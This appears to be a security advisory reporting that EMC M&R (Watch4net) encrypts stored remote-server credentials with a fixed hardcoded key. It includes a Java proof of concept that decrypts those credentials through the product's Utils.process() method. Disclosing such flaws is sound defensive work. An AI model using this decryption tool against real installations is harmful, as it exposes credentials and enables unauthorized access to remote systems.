`------------------------------------------------------------------------  
EMC M&R (Watch4net) data storage collector credentials are not properly  
protected

Abstract  
------------------------------------------------------------------------  
It was discovered that EMC M&R (Watch4net) credentials of remote servers  
stored in Watch4net are encrypted using a fixed hardcoded password. If  
an attacker manages to obtain a copy of the encrypted credentials, it is  
trivial to decrypt them.

Due to insecure use of cryptography the credentials of these remote host can be decrypted using the Java class com.watch4net.apg.v2.common.config.tools.Utils.process().  
  
Proof of concept  
  
import com.watch4net.apg.v2.common.config.tools.Utils;  
  
public class Watch4NetCrypt {  
private static void print(String out) {  
System.out.println(out);  
}  
  
private static void usage() {  
print("Usage:\t watch4netcrypt [-e] password");  
print("\t watch4netcrypt [-d] encrypted");  
System.exit(1);  
}  
  
public static void main(String[] args) {  
if (args.length != 2 || !("-e".equals(args[0]) || "-d".equals(args[0]))) {  
usage();  
}  
Boolean encrypt = "-e".equals(args[0]);  
String password = args[1];  
if (password != null) {  
print(Utils.process(password, encrypt, "centralized", null));  
}  
}
